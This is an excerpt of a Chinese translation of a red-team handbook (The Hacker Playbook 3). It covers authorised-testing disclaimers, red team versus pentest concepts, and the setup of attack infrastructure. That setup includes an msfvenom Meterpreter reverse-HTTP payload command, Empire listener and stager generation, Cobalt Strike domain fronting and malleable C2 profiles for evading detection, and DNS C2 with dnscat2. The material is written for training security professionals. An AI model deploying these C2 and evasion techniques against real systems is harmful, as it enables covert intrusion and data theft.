简历 (当然, 你肯定需要准备一个简历), 还不如你的 Github 有丰富的内容,很多公共 Github 项目或者安全方面有影
响力的技术博客。无论你是防御的蓝队成员还是进攻的红色成员,参与安全公共社区,积极分享都是至关重要的。
对于那些没有阅读我以前的两本书的读者, 你可能想了解我的技术背景和经验。我的背景包括超过12年的渗透为主要
金融机构、大型公用事业公司、财富500强公司、娱乐公司和政府组织提供安全测试。我也花了多年的时间在大学教
攻击性的网络安全, 在多个安全会议上发言,在许多安全出版物中引用, 在全国各地教授的课程, 运行了多个公开的 ctf
比赛, 并开始了我自己的安全学校。我的一大兴趣项目是建立一个自由和开放的位于南加州的安全社区,叫做
LETHAL (meetup.com/lethal)。现在, 拥有800多名会员, 每月举行会议, ctf 比赛, 它已成为一个令人兴奋的环境, 人们
在此社区中分享, 学习和成长。
需要提醒读者的是, 在本书中,我同时使用商业工具和开源工具。对于每一个提到的商业工具, 我尽量提供一个对应的
开源工具。我以前听到一些渗透测试工程师说他们只使用开源工具。作为一个专业的渗透测试工程师, 我认为这个说
法难以接受。如果你试图去模仿一个 "真实世界" 的攻击, 骇客们没有这些限制。因此, 你需要使用任何可以完成任务
的工具 (商业或开源)。
我经常被问到的一个问题是, 这本书的目标读者是谁?这本书的精确目标人群真的很难定义,因为我相信任何一个安
全行业工作者都可以学习。一些人可能会认为本书对新人不太友好,一些人又会觉得对老手来说太浅显的, 还有一些
人甚至认为这本书没有覆盖你的安全研究领域。
我从那些安全行业新手读者那里听到的最常见的反馈是:一般读两道三遍之后会比较能够理解 (确保在两次阅读之间
有一个消化的时间)。这本书提供了大量的资料,需要时间去完全消化。所以, 我要说的是放松、好好看, 通过实验和
实例, 进行你的尝试,把你的脚本发布到 Github 的公共仓库,并启动一个博客。
最后, 我认为作为一个红队成员,一方面你需要技术实力,但是另一方面你需要有自信。许多社会工程练习都要求你
克服你的紧张, 走出你的舒适区。知道鸭子定律吗?如果一个东西看起来像鸭子,游泳像鸭子,叫声像鸭子,那么它
可能就是只鸭子。大卫·莱特曼也说过, “假装不害怕和真正不畏惧的外部效果是一样的”。有时你只需要有信心, 大胆去
做,无需顾虑太多。
提示和免责声明
我必须再重申一遍: 务必不要做未授权测试!不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出
于好奇而不是恶意,你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更好的继续学习发展,有很多漏洞奖励
计划和靶场可以供你学习试验,但是请记住,即使是参加漏洞奖励计划,私自测试范围外的网站或对网站进行深入破
坏也会让你有大麻烦。下面就是一些前车之鉴供你参考:
https://www.forbes.com/sites/thomasbrewster/2015/12/17/facebook-instagram-security-research-threat
s/#1d2a0f062fb5
https://nakedsecurity.sophos.com/2012/02/20/jail-facebook-ethical-hacker/
https://www.cyberscoop.com/dji-bug-bounty-drone-technology-sean-melia-kevin-finisterre/
如果你感觉你的某个渗透行为可能不太合适,很可能你的确违反了一些网络安全法律法规,你必须请教专业律师或者
联系电子前沿基金会。
研究和非法活动之间有细微差别。记住, 只有测试那些你有书面授权的系统。现在就谷歌一下术语 "黑客入狱"!你会
看到很多不同的例子, 其中青少年仅仅为了取乐而被判处多年监禁。有很多免费的平台, 在上面合法黑客行为是允许
的, 并且你可以在这些平台上获得进一步的教育。
最后我想说, 我并不是 Windows系统、编码、编写 exp 或是 Linux 系统方面的专家。如果我对特定的技术、工具或
过程说错了, 我会确保在本书的更新网页上做更新。另外, 本书的很多内容都依赖于其他人的研究, 我尽量提供链接。
同样的,如果我遗漏了任何一个这种链接,我也会在网站上就这些信息进行持续的而更新。我们有这样的一个令人敬
畏的社区, 我想确保社区里的每个人都因为他们的贡献得到承认!
介绍
译者:@Snowming
在本书的上一版本(The Hacker Playbook 2)中,你的任务是渗透 SUCK 公司的武器设备库。然而他们现在又建立
了新的部门,称之为 Cyber Space Kittens (CSK)。这个新部门吸取了之前安全评估的所有经验教训,加强了他们
的系统,建立了本地安全操作中心,甚至还创建了安全策略。所以他们再次聘用你作为渗透人员,来测试一下他们所
做的所有安全限制是否有助于公司的整体防御。
我们能够收集到的关于此部门的信息很少。从有限的信息收集结果来看,我们发现,CSK 部门似乎发现了一颗秘密的
行星,位于仙女座大星云或仙女座星系。这颗行星坐落于于两个旋臂中的一个,被称为 KITT-3n。它的大小是地球的
两倍,位于一个被叫做 OI 31337 的双星系统中,而另一颗星星的大小也是地球的两倍。看起来这可以创造一个可能
很适合居住的环境,有海洋,有湖泊,有植物,甚至可能有生命...
伴随着对新生命和另一个可居住星球的向往,太空竞赛也成为事实了。CSK 已经聘用我们作为红队进行安全评估,确
保他们在网络世界的安全,并且能够检测和及时的阻止外在的破坏行为。他们的老板已经知道了去年所有的重大安全
攻击行为,所以他现在只想聘用最好的员工,这个公司是你要开展工作的地方...
如果你选择接受这个任务,那你就必须找到所有的内部和外部的漏洞,并且用最新的 exp 和组合漏洞,去看看他们
的防御团队是否能够发现或阻止你。
你要决定用什么类型的 TTP(战术策略,威胁情报和恶意程序)去进行你的工作呢?在这场战斗中,你前期需要做大
量的信息收集工作,去观察寻找他们外部基础设施的薄弱点,社工他们公司的员工,提升你的权限,获取内部网络的
信息,在整个内网中进行漫游,并且能够最终窃取有关 KITT-3n 行星的系统和数据库的信息。
渗透测试团队与红队
在我们深入了解红队背后的技术理念之前,我需要说明一下我对渗透测试和红队的理解。这两个词语经常被一起讨
论,所以可能会让人感觉到有些混淆。在这本书里,我会谈一下我是如何理解渗透测试团队和红队这两个不同的术语
的。
渗透测试团队更多的是对网络、应用程序以及硬件等方面进行严格的、全方位的测试。如果你之前没接触过渗透测
试,我建议你先阅读一下渗透测试执行标准 PTES——这是一个关于如何进行渗透评估的非常好的指导手册。简而言
之,你会经历确定渗透测试范围,然后对其进行详细的信息收集,下一步的漏洞挖掘,漏洞利用,以及后渗透阶段和
最终的完成渗透测试报告等所有工作。在传统的网络测试中,我们经常会用扫描器扫描漏洞,去寻找可利用的漏洞点
和应用或者系统,可能会稍微的再进行一点深入的工作,去找到域管理员,最后写一份报告。这种类型的测试创造了
一个漏洞挖掘、漏洞修补以及可控性的测试方法的整体模型。即使是在确定范围期间内,渗透测试也非常明确,首先
测试评估期间是在一周或两周内,其次通常会向公司内部的安全团队进行结果公布,因为公司仍然需要渗透测试人员
作为其安全软件开发周期(S-SDLC)不可或缺的组成部分。
现在,即使很多公司遵循安全软件开发生命周期,拥有漏洞防护程序,渗透测试人员,应急响应团队或应急程序,并
且可能还有很多昂贵的安全防火墙,但他们仍然会有被入侵的威胁。如果我们看看最近爆出来的任何一个漏洞,我们
会发现有很多大公司都会中招。而且我们可以在一些安全报告中看到一些在六个月以前就被入侵的案例。下面这份报
告指出,2017年几乎三分之一的业务遭到了攻击破坏。我想问问所有的公司,如果你们公司遭遇了同样的攻击,你
能检测到吗?会用多长时间发现?被入侵以后你可以从攻击中恢复吗?你能准确的知道入侵者对你的公司做了什么
吗?
这就是红队存在的意义。红队的任务就是模仿入侵者的TTP(战术和技术手段)。红队的目标是测出公司应对入侵事
件的真实状况,找到安全计划中的问题和员工对安全项目的理解中的不足,最终提高他们对安全计划的理解。
对于红队来说,它不像渗透测试那样有条不紊。因为我们是在模拟现实的入侵事件,所以每个测试过程都会有很大的
差异。比如一些测试项目可能侧重于窃取员工个人的身份信息(PII) 或者信用卡,而有的测试项目可能侧重于进行域环
境的接管。说到域管,我就是在这个地方看到了渗透测试和红队的最不一样之处。对于网络测试,我们喜欢通过获取
域管理员(DA)权限以获得对域控制器(DC)的访问权。但对于红队来说,我们完全可以忽略域控制器(DC)。
其中一个原因是我们可以看到许多公司会在其分布式控制系统周围放置了大量的保护设施。它们可能采取程序白名
单,流量监控,大量的IDS/IPS/HIPS规则,甚至更多防护措施。因为我们的任务是尽可能的不被发现,所以必须低调
谨慎行事。我们遵循的另一条规则就是,几乎不会对内部网络进行大规模的漏洞扫描。你见过有多少入侵者会对内部
网络进行大规模的扫描?几乎没有吧,为什么呢,因为漏洞扫描会对网络造成很明显的冲击,在现在这个社会很容易
被发现。
渗透测试和红队的另一个主要区别是时间范围,对于渗透测试,不出意外的话我们会很幸运的有两周的时间。然而,
红队的测试短达两周,长达六个月。这是因为我们需要模拟真实的攻击、社会工程学、远控木马等等。最后要说的
是,还有一个显著的区别是红队的测试结果是两种团队的共同努力。并非使用漏洞列表,红队的调查结果需要更多地
针对蓝队团队流程,政策,工具和技能等方面。在你最终的报告中,你可能会有一些能用于模拟入侵的漏洞方面的发
现,但更多的是需要发现应用程序中的漏洞。要永远记住,模拟入侵的结果是要针对制定的安全计划,而不是单纯的
信息技术。
作为红队,我们要向公司展示自己的价值,这和挖掘到的漏洞数量和漏洞严重性无关;它和能证明安全计划如何正常
运行有关。红队的目的是模拟真实入侵事件,所以我们要尽可能的低调。从这些测试计划中抽取出的两个强有力的衡
量指标是检测时效(TTD)和缓解时效(TTM)。虽然这些不是新的概念,但对红队来说仍然很有价值。
什么是检测时效(TTD)?这是从入侵事件的初始发生到安全分析人员检测并开始处理入侵事件之间的时间。假设你
有一封社工钓鱼邮件,然后用户会在他们的系统上执行恶意软件。即使他们的杀毒软件,防火墙,或检测工具可能会
报警,但这个时效是安全分析人员发现并第一次记录的时间。
缓解时效(TTM)是测试记录的次要指标。当进行防火墙阻止入侵,DNS 污染,或者网络隔绝这些操作的时候,会
记录这个时间。要记录的另一个有价值的信息是安全团队如何使用信息技术,管理层如何处理重大事件,以及员工是
否惊慌失措。基于这所有的时效,我们可以用真实的测试结果计算你的公司是否是有风险的,或者它被入侵破坏的可
能性有多大。
总结
我想要尽力推动管理者使其摆脱依赖审计指标的心态。我们有合法的授权,肯定能促使老板们的程序更加成熟,但并
不总是能提供足以模拟现实世界的安全保障。作为红队队员,我们的工作是测试整个安全计划是否有效。
当你读完这本书时,我希望你把自己当作一名红队队员,并把注意力集中于以下几点:
应用程序的安全漏洞而不是信息技术的漏洞
模拟真实世界的入侵事件
为红队持续的发展做出极大努力
挑战所有的安全系统......提供真实的数据来证明安全漏洞。
第1章 赛前准备——安装
译者:@Snowming
作为红队人员,我们通常不太关注某次攻击的目的(更关注的是攻击手法)。相反,我们想从那些高级威胁组织的
TTP(Tactics、Techniques & Procedures)中学到更多。举个例子,这是一个来自于火眼(FireEye)公司的公开的威
胁情报分析报告。从报告中,我们可以看到:这个威胁组织使用推特作为 C2 服务器,也使用了 github 作为存储加
密图片和经过信息隐写文件的仓库。 我们可以参考此报告,根据攻击手法的特点来针对性的做出合适的防御方案,
来看你的公司是否能发现并拦截这种攻击。
让我们对 APT 攻击做一些基本的介绍。由 MITRE 公司提出的 ATT&CK 矩阵( Adversarial Tactics, Techniques, and
Common Knowledge matrix ) 是对 APT 攻击的详细分解。这个矩阵中是一个在各种攻击场景中使用的不同 TTP 的
大集合。
商用 ATT&CK 矩阵 - Windows版
译者注:
1. 上面的矩阵仅仅包扩适用于 Windows 平台的技术。完整的商用 Enterprise ATT&CK 矩阵也包括适用于
macOS 和 Linux 平台的技术。
2. 矩阵中的内容严格复制自原书。只是因为原书图片分辨率太低,为了读者的阅读体验,特意重新作图。
ATT&CK 矩阵至今没有中文翻译,因为译者才疏学浅,不敢献丑翻译,故保留英文。但是需要说明的是,
书中列出的矩阵内容,跟 MITRE 公司官网给出的矩阵内容存在差异,可能是因为矩阵被重新修订了。故
给出 Enterprise Matrix - Windows的官网地址 供读者参考。
另一个资源是 @cyb3rops 整理的 APT组织与方法持续更新列表。这个谷歌文件列举了世界多个国家的疑似 APT 组织
及其使用的工具集。对于红队成员来说,我们可以参考此文档来模拟不同的攻击。当然,我们可能不会使用与文档中
列举的相同的工具,但是我们可以构建类似的工具来做同样的攻击。
假定攻破练习
面对安全问题,企业的正确态度是从一开始就应该预设自己已经被攻破了。然而事实是,如今太多的公司认为通过一
些所谓的安全配置或者年度渗透测试,它们是安全的。我们需要进入一种思维状态,我们总是蹲守,假设邪恶就潜伏
在周围,我们需要时刻寻找异常。
这就是红队的活动与渗透测试有很大区别的地方。由于红队的活动重点是检测/给出措施而不是漏洞,所以我们可以
做更多独特的评估。一种为客户提供巨大价值的评估利益被称为假定突破练习(assumed breach exercise)。在
一个假定突破练习中,总会遇到一些 0-day。那么,客户端能否识别和减轻第二阶段和第三阶段步骤的影响呢?
在这些场景中,红队与公司内部的有限团队一起工作,在他们的服务器上执行一个定制的恶意软件 payload。这个
payload 应该尝试以多种方式连接,确保绕过常见的AV,并允许额外的 payload 从内存中执行。我们将在整本书提
供一些 payload 的实例。一旦最初的 payload 被执行,所有的乐趣就从这里开始了!
设定你的行动
这是红队活动中我最喜欢的一部分。在进攻你的第一个系统之前,你需要确定你的红队活动范围。在很多渗透测试
中,你会得到一个目标,然后不断地尝试进入那个单一的系统。如果某件事情失败了,你就继续做下一件事。没有脚
本,你通常非常专注这个网络。
在红队活动中,我们从几个目标开始。这些目标可以包括但不限于:
最终的目标是什么?只是 APT 检测吗?是要在服务器上获取标志吗?是从数据库中获取数据吗?或者只是为了得到
检测时效(TTD)指标?
是否有我们想要复制的公开活动?
你会用什么技巧?我们讨论过用 MITRE ATT&CK 矩阵,但是在每个类别中确切的技术是什么?
红金丝雀研究小组提供了每一种技术的详细信息。我强烈建议你花点时间来查看这些详细信息。
客户希望你使用什么工具?是一些诸如 Metasploit、Cobalt Strike、DNS Cat 这样的商业攻击工具软件?还是自
制的定制化工具?
一个好消息是被抓住也是评估的一部分。有一些入侵中我们会被抓4到5次,然后在4到5个不同的环境中被消灭。这
确实向你的客户表明,他们的防御如他们预期的一样在起作用(或没有起作用)。在书的最后,我将提供一些报告示
例,说明我们如何获取指标并报告这些数据。
设置你的外部服务器
我们使用许多不同的服务来建立我们的红队活动。在当今这个充斥着 VPS的世界里,在互联网上抵抗攻击者的机器不
会超出你的预算。例如,我通常使用 Digital Dcean 公司的 Droplets 计算服务或 AWS 的 Lightsail 服务器来配置我的
VPS 服务器。我使用这些服务的原因是它们通常成本很低(有时是免费的),可以选择 Ubuntu 系统的服务器,并且可
以根据需要选择购买不同区域的服务器。最重要的是,它们非常容易设置。在几分钟内,你就可以设置并运行多个服
务器的 Metasploit 和 Empire 服务。
在本书中,我将重点介绍 AWS 的 Lightsail 服务器,因为它易于设置、能够自动化服务,以及通常流向 AWS 的流
量。在你成功创建了一个你喜欢的镜像后,你可以快速地将该镜像克隆到多个服务器,这使得构建现成的
C2(Command and Control) box 非常容易。
同样,你应该确保遵守 VPS 提供者的服务条款,这样你就不会陷入任何问题。
下面是操作要点:
https://lightsail.aws.amazon.com/
创建一个实例
我强烈建议至少使用1gb内存
硬盘大小一般不会有什么问题,可以随意选择
Linux/Unix
操作系统只选 -> Ubuntu
下载 Cert(证书)
chmod 600 cert(译者注:只有拥有者有读写权限)
ssh -i cert ubuntu@[ip]
搭建服务器的一个快速方法是集成 TrustedSec 公司的渗透测试框架 (PTF)。PTF 框架是一些脚本的合集,可以为你做
大量的艰苦工作并为其他所有内容创建了一个框架。让我们通过一个快速示例来安装我们所有的漏洞利用模块,信息
收集模块,后渗透利用模块,PowerShell 攻击模块和漏洞分析工具:
sudo su -
apt-get update
apt-get install python
git clone https://github.com/trustedsec/ptf /opt/ptf
cd /opt/ptf && ./ptf
use modules/exploitation/install_update_all
use modules/intelligence-gathering/install_update_all
use modules/post-exploitation/install_update_all
use modules/powershell/install_update_all
use modules/vulnerability-analysis/install_update_all
cd /pentest
下图显示了所有的可用模块,其中一些模块是我们自己安装的。
图: 所有可用模块的列表
如果我们查看我们的攻击者 VPS,就可以看到安装在我们的机器上的所有工具。如果我们想要启动 Metasploit,我
们可以输入:msfconsole。
图: 安装在 /pentest 文件夹下的所有工具
我仍然建议建立强大的 IPTables 规则。因为这将是你的攻击服务器,所以最好限制 SSH 身份验证可以从何处发起,
Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起,以及你所支持的任何钓鱼页面。
如果你还记得在2016年末,有人发现了未经身份验证的远程代码执行(RCE) ( https://blog.cobaltstrike.com/2016/0
9/28/cobalt-strike-rce-active-exploitation-reported/ )。你肯定不希望客户数据受到攻击服务器的损害。
我曾经看到一些红队在 AWS 中,使用 Docker 运行 Kali Linux (或者至少是 Metasploit) (参考: http://bit.ly/2qz2vN9
)。在我看来,虽然创建你自己的系统怎么样都可以。但是更好的选择是创建一个高效且可重复的流程来部署多台机
器。使用 Lightsail 的 最大好处是一旦你将你的机器配置为你的首选项,你就可以对一台机器进行快照,并部署使用
该镜像的多个全新实例。
如果你想让你的环境更上一层楼,看看 Coalfire 研究所的团队。他们构建了自定义模块来为你完成所有的艰苦工作和
自动化。Red Baron 是 Terraform 的一组模块和自定义/第三方提供者,它可以为红队自动创建弹性、一次性、安全
和灵活的基础设施。无论你想要构建一个钓鱼服务器,Cobalt Strike 基础设施,或创建 DNS C2 服务器,你都可以
用 Terraform 做到这一切。
查看 https://github.com/Coalfire-Research/Red-Baron 并查看所有不同的模块以便快速构建你自己的基础架构。
红队的核心工具
红队可能会使用很多工具,但是让我们来讨论些最核心的工具。请记住,作为一个红队成员,我们的目的不是破坏环
境(虽然这是最有趣的),而是要复制现实世界的攻击,以查看客户是否受到保护,并可以在很短的时间内检测到攻
击。在前面的章节中,我们了解了如何从其他 APT 组织那里复制攻击者的概要文件和工具集,所以让我们回顾一下
一些最常见的红队工具。
Metasploit 框架
本书不会像前几本书那样深入探讨 Metasploit。尽管 Metasploit 框架最初是从 2003 年开发的,但它现在仍然是一
个非常棒的工具。这是由于最初的开发者 H.D. Moore 和非常活跃的社区为它提供持续支持。这个社区驱动的框架,
似乎每天更新,拥有所有最新的公开漏洞的利用、后渗透利用模块、辅助模块等等。
对于红队项目,我们可能使用 Metasploit 通过MS17-010永恒之蓝漏洞危害内部系统,以获得我们的第一个内网
shell,或者我们可能使用 Metasploit 为我们的社会工程攻击生成一个 Meterpreter payload。
在后面的章节中,我将向你展示如何重新编译你的 Metasploit payload 并绕过杀毒软件和网络监控。
混淆 Meterpreter 的 Payload
如果我们正在针对目标进行一些社工尝试,我们可能会使用 Word 或 Excel 文档作为我们的 payload(攻击载荷)的
载体。 但是,一个潜在的问题是我们可能无法包含 Meterpreter 的 payload 的二进制文件或让目标机器从 Web 下
载我们的 payload,因为这些操作可能会触发目标机器中的杀毒软件的警报。 所以,这里给出一个简单的解决方
案,使用 PowerShell 进行模糊处理:
我们甚至可以将混淆提升到新的水平,并使用 Unicorn 等工具生成更多模糊的基于 PowerShell 的 Meterpreter
payload,我们将在本书中详细介绍这些混淆器。
此外,使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS(入侵检测系统),具体可以参考
以下链接实现:Meterpreter Paranoid Mode。
最后,在本书的后面部分,我们将讨论如何重新编译利用 Metasploit/Meterpreter 来绕过基于主机和网络的检测工
具。
Cobalt Strike
Cobalt Strike 是迄今为止我最喜欢的红队模拟工具之一。什么是 Cobalt Strike 呢?它是一种用来后期持久渗透,横
向移动,流量隐藏、数据窃取的工具。 Cobalt Strike 并没有直接的漏洞利用,也没有通过最新的 0-Day 漏洞来破坏
系统。当你已经在服务器上执行了 CS 的恶意代码或者将 CS 用作网络钓鱼活动的一部分时,你就能感受到 CS 的功能
是多么广泛并且强大。 一旦你可以在机器上执行 Cobalt Strike 的 payload,它创建一个 Beacon(远控木马功能)连接
回连到 C2 服务器(teamserver)。
新的 Cobalt Strike 许可证的费用为3500美元(单用户一年),所以它并不是一个便宜工具。 不过该软件有免费的限量
试用版。
Cobalt Strike 基础设施
正如上文所述,在基础设施方面,我们希望设置这样一个可重用且高度灵活的环境。Cobalt Strike 支持重定向,当
你的 Cobalt Strike 使用的 C2 域名被销毁了,你不需要创建并启用一个新的环境,只需要替换一个新的 C2 域名。你
可以在这里找到更多的使用 socat 配置这些重定向器的信息:链接1 & 链接2
msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-64.ps1
LHOST=127.0.0.1
为了使你更好的重定向,我们可以使用域名前置(域名幌子)。域名前置是使用其他的域名和基础设施的技术作为控
制器重定向的技术集合(参考链接)。这可以通过使用流行的内容分发网络(CDNs)来实现,如亚马逊云的 CloudFront
或其他的 Google Hosts 来隐蔽我们的流量源。这在过去曾被不同的攻击者所利用过(参考链接)。
通过使用这些高信誉域名,无论 HTTP 或 HTTPS 的任何流量,看起来都像是它正在与这些域通信,而不是与我们的
恶意 C2 服务器通信。这一切是如何运作的?用一个比较抽象的例子来说,你的所有流量将被发送到 CloudFront 的
一个主要完全限定域名(FQDNs),例如 a0.awsstatic.com,它是 CloudFront 的主要域名。修改请求中的主机
header 将把所有流量重定向到我们的 CloudFront 分发(CloudFront distribution),后者最终会将流量转发到我们的
Cobalt Strike C2服务器上(参考链接)。
通过更改 HTTP 主机的 header,CDN 将很轻松的的的地把流量传输回到正确的服务器。红队一直使用这种技术通过
使用高信誉域名来隐藏 C2 服务器的流量。
另外两个支持域名前置的两个不同公司的优秀资源:
CyberArk 还写了一篇很好的博客文章,在文章里他介绍了如何使用谷歌的应用产品来使你的流量看起来是流经
了 www.google.com, mail.google.com 或者 docs.google.com.
Vincent Yiu 写了一篇关于如何使用阿里巴巴 CDN 来支持自己的域名前置攻击的文章。
Cobalt Strike 不是唯一可以支持域名前置的工具,也可以通过 Meterpreter 来完成(参考链接)。
注:在本书出版时,AWS(甚至谷歌云)已经启动实现对域名前置的保护( https://amzn.to/2I6lSry )。这并不能阻
止这种类型的攻击,只是需要不同的第三方资源来进行利用。
尽管不是基础架构的一部分,但是我们还是应该要理解 beacon 是如何在内部环境中工作的。在操作安全方面,我们
应该避免建立会被轻易发现并清除的持久连接。作为一名红队成员,我们必须假设我们的一些客户端是会被蓝队发现
的。如果我们让所有的主机都与一个或两个 C2 服务器通信,蓝队很容易就可以把整个基础设施连根拔除。幸运的
是,Cobalt Strike 支持内网主机之间使用基于 SMB 的 Beacon 来进行交互。这允许你让一台受感染的计算机与你的
C2 服务器进行正常且合适的 beacon 连接,并使内部网络上的所有其他的服务器通过 SMB 协议与最初受感染的主机
进行通信。采用这种连接方式,当蓝队检测到一个二级系统有问题并进行取证分析,他们可能会无法识别与这次攻击
相关的 C2 服务器域名。
Cobalt Strike 可以操纵你的 Beacon 通信,这对红队成员来说是一个非常有用的特性。使用自定义 C2 配置文件,你
可以让所有来自受感染主机系统的流量看起来和普通流量无异。现在我们会发现越来越多的内网环境中会针对第7层
网络应用层进行过滤。很多时候蓝队在这层中找寻那些网络通信中的异常流量,那么我们怎样才能让我们的C2通信
变得如同正常的 Web 流量呢?这就是可定制 C2 配置文件发挥作用的地方。看看这个例子。阅读这个例子,你会看
到一些显而易见的信息:
我们可以看出这将会产生带有URI路径的HTTP请求:
主机 header 设置为 Amazon:
甚至一些自定义服务器的 header 也从 C2 服务器发回:
现在很多红队已经在许多不同的活动中使用了这些配置文件,许多安全厂商已经给所有常见的自定义配置文件创建了
指纹签名。为了解决这个问题,我们能做的是: 确保修改了配置文件中的所有静态字符串,确保更改了所有 User-
Agent 信息,使用真实的证书配置 SSL(不要使用 Cobalt Strike 默认的 SSL 证书),调整抖动率,并更改客户端的
的 beacon 时间。 最后一个注意事项是确保通过 POST(http-post)命令进行通信,因为如果不这样做可能会导致
使用自定义配置文件时出现很多问题。 如果你的配置文件注明了通过 http-get 进行通信,它仍然有效,但上传大文
件将一直被限制。 请记住,GET 请求通常限制在2048个字符以内。
SpectorOps 安全团队还创建了可定制混淆 C2 配置文件的项目.
译者注: 这个脚本可以将 Cobalt Strike 的配置文件进行混淆来绕过一些基于签名检测的软件,其原理是将变量
替换为提供的字典中的随机字符串,然后输出新的 Malleable C2 配置文件。
Cobalt Strike 的 Aggressor 脚本
Cobalt Strike 项目有很多贡献者。Aggressor 脚本是一种面向红队操作和对手模拟的脚本语言,其灵感来源于可脚本
化的 IRC 客户端和机器人。开发它的目的有两个:
set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;
header “Host” “www.amazon.com”;
header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”;
header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t
1. 你可以创建长时间运行的机器人来模拟虚拟红队成员,并与你并肩进行黑客攻击
2. 你还可以根据你的需要使用它来扩展和修改 Cobalt Strike 客户端的功能 官方介绍页面:https://www.cobaltstr
ike.com/aggressor-script/index.html
例子:HarleyQu1nn 将不同的 Aggressor 脚本放在一个项目中提供给你用于后续漏洞利用: http://bit.ly/2qxIwPE
PowerShell Empire
Empire 是一个后期漏洞利用的框架,包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的
Linux/OS X 代理。它是以前的 PowerShell Empire 和 Python EmPyre 项目的合并。 该框架提供了加密安全通信和
灵活的架构。在 PowerShell 方面,Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能。并且
Empire 有很多可以快速部署的后期漏洞利用模块,从键盘记录器到 Mimikatz。Empire 还可以调整通信,躲避网络
检测。所有的这些功能都封装在一个以实用性为重点的 框架中。
对于红队人员来说,PowerShell 是我们最好的朋友之一。在初始化有效 payload 之后,所有随后的攻击都保存在内
存中。Empire 最好的地方就是它被开发者积极地维护和更新中,以便你可以使用最新的后期漏洞利用模块进行攻
击。 它们还具有适用于 Linux 和 OS X 的 C2 连接。因此,你仍然可以创建基于 MAC 的 Office 宏,当执行之后,在
Empire 中拥有一个全新的代理。
我们将通过本书更详细地介绍 Empire,以便你了解它的威力如何。在设置 Empire 方面,确保你已安全地配置它非
常重要:
将证书路径 CertPath 设置为一个真实可信的 SSL 证书。
更改 DefaultProfile 端点。许多第7层防火墙都在寻找确切的静态端点。
更改用于通信的用户代理。
在前两版书中我们提过,Metasploit 的源文件用于自动化,Empire 现在也支持自动运行的脚本,这样可以提高效
率。
运行 Empire:
初始化 Empire
退出
安装证书(最好是使用真实受信任的证书)
开始运行 Empire
创建一个监听器
cd /opt/Empire && ./setup/reset.sh
exit
./setup/cert.sh
./empire
listeners
选择你的监听器类型(我们实验使用的是 HTTP)
查看监听器的全部配置信息
设置以下内容(即设置KillDate 12/12/2020)
当你完成所有这些,开启你的监听器
配置 Payload
payload 是将在受害者系统上运行的实际恶意软件。 这些 payload 可以在 Windows,Linux 和 OSX 中运行,但
Empire 以其基于 PowerShell Windows 的 Payload 而闻名:
uselistener [按两次 tab 键来查阅所有类型的监听器]
uselistener http
info
KillDate - 规定一个结束时间然后自动清理代理
DefaultProfile - 确保更改所有端点(即/admin/get.php,/news.php)。你可以根据需要制作它们,例
如/seriously/notmalware.php
DefaultProfile - 确保也更改你的用户代理。 我一般是查看使用过的顶级用户代理并选择从中选择一个。
Host - 更改为通过端口443的 HTTPS
CertPath - 添加 SSL 证书的路径
UserAgent - 将其更改为你的常用用户代理
Port - 设置为443
ServerVersion - 将其更改为另一个常见的服务器 Header
execute
进入主菜单
为 OSX,Windows,Linux 创建可用的 stager。 我们将创建一个简单的 bat 文件作为示例,但实际上你可以为
Office 文件创建宏或者为一个 USB 橡皮鸭创建 payload(译者注: USB 橡皮鸭/USB RUBBER DUCKY 是最早
的按键注入工具)
查看所有设置
配置所有 Settings
创建 Payload
在另一个终端窗口中查看你的 payload
如你所见,创建的 payload 被严重混淆。 你现在可以把这个 .bat 文件丢到任何 Windows 系统上。 当然,你可能会
创建一个 Office 宏文件或一个USB橡皮鸭(注:USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具)的
payload,但这只是众多示例中的一个。
如果你尚未在 Kali 图形界面上安装 PowerShell,那么最好的方法是手动安装它。 在 Kali 上安装 PowerShell:
main
usestager [按两次tab键来查阅所有不同的类型]
usestager windows/launcher_bat
info
http 把 Listener 设置为 http
配置 UserAgent(用户代理)
generate
cat /tmp/launcher.bat
dnscat2
内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2 就是一款利
用 DNS 协议创建加密 C2 隧道来控制服务器的工具,所以说这种隧道几乎在每个网络中都可以使用。dnscat2 由客
户端和服务端两部分组成。
基于 DNS 的 C2 服务器连接的渗透方案提供了一种很好的机制来隐藏你的流量,规避网络传感器并绕过网络限制。
在许多限制性环境或生产环境中,我们遇到的网络要么直接不允许出站流量,要么流量也会被严格的限制或监控。为
了绕过这些保护,我们可以使用像 dnscat2 这样的工具。我们关注 dnscat2 的原因是因为它不需要 root权限就允许
shell访问和数据传输。
在许多安全环境中,直接使用 UDP 或 TCP 出站会受到限制。 为什么不利用基础架构中已经内置的服务呢?许多受保
护的网络包含一个 DNS 服务器来解析内部主机,同时还允许解析外部资源。通过为我们拥有的恶意域名设置一个权
威服务器,我们可以利用这些 DNS 解析来对我们的恶意软件进行命令执行和控制。
在我们的场景中,我们将设置名为 “loca1host.com” 的攻击者域。 我们希望通过对 “localhost” 创建“分身”来更多地
隐藏我们的流量。请你自行将 “loca1host.com” 替换为你拥有的域名。我们将配置 loca1host.com 的 DNS 信息,使
其成为一个权威 DNS 服务器(Authoritative DNS server)。 在这个例子中,我们将使用 GoDaddy 的 DNS 配置工
具,但你也可以换成任何其他的 DNS 服务。
apt-get install libunwind8
wget http://security.debian.org/debian-
security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb
dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb
wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2-
1.ubuntu.16.04_amd64.deb
dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb
使用GoDaddy设置一个权威DNS服务器
